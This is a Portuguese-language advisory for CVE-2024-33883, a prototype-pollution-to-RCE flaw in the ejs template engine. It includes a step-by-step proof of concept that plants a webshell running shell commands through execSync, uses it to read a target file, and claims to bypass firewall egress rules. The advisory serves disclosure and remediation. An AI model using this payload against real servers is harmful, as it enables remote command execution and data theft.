CVE-2024-33883

[email protected], Validação Insuficiente de Poluição de Protótipo Levando à Exploração RCE

• Com poluição de protótipo, defina opts.client para um valor verdadeiro (condição)
• Então, quando render() é executado, o ejs executará o valor opts.escapeFunction como código JS.

Faixa de Código Vulnerável

Baseado em [email protected]

1. ejs/lib/ejs.js - linha 580, 636, 637

PoC (Injetar webshell e ativar)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Injetar webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Ativar webshell

• O PoC acima pode contornar a queda de pacotes de saída do firewall ufw.

• Todas as versões abaixo de 3.1.10 são vulneráveis a este tipo de ataque.

• Esta é uma vulnerabilidade RCE, e não abuse em servidores ativos.

Condição de ataque disponível

1. Precisa de controle de render().
2. Precisa de controle do vetor de ataque de poluição de protótipo.

• Se as duas condições acima forem atendidas, o ataque RCE está disponível.

Como posso prevenir este ataque?

• A versão corrigida ([email protected]) já está disponível.